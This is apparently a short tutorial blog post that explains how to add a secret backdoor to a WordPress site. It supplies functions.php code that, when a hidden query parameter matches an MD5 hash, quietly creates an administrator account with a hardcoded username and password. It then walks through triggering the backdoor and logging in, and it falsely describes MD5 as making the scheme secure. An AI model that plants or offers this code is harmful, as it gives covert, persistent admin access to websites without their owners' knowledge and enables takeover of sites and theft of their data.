WP create a secret backdoor for access admin panel

Create an hidden admin user programmatically to gain admin access in wordpress

  To create a hidden backdoor to access admin panel in any wordpress website, we need to add a simple code snippet in our functions.php file.

How it works ?

We will add a code snippet in functions.php that will check get request by using $_GET method of php and if its exists then it will get value of it and match it with our pre defined hash code. For hash code we are using MD5 so it will be secure.

We are using "thecoderain" as our new admin username and 'coderain007' as our password. If you want ,You can change according to you.

So first open functions.php file and paste below code

add_action( 'wp_head', 'mysecret_backdoor' );

function mysecret_backdoor() {
    if ( md5( $_GET['secretadmin'] ) == 'bc1bd15de8d5b0ce4944c87f2f960fd0' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'thecoderain' ) ) {
            $user_id = wp_create_user( 'thecoderain', 'coderain007' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}

Now save your file and go to your website and add  a query string like
https://yourwebsite.com/?secretadmin=thecoderain
and press enter.

BOOM, you have created a secret backdoor to access admin panel that you use any time.

To access admin panel with our new user open admin login url like

https://yourwebsite.com/wp-admin

Now enter your admin details  that i have mentioned above
USERNAME : thecoderain
PASSWORD : coderain007

Now click on login .

Congrats, now you have logged in with anonymous account.
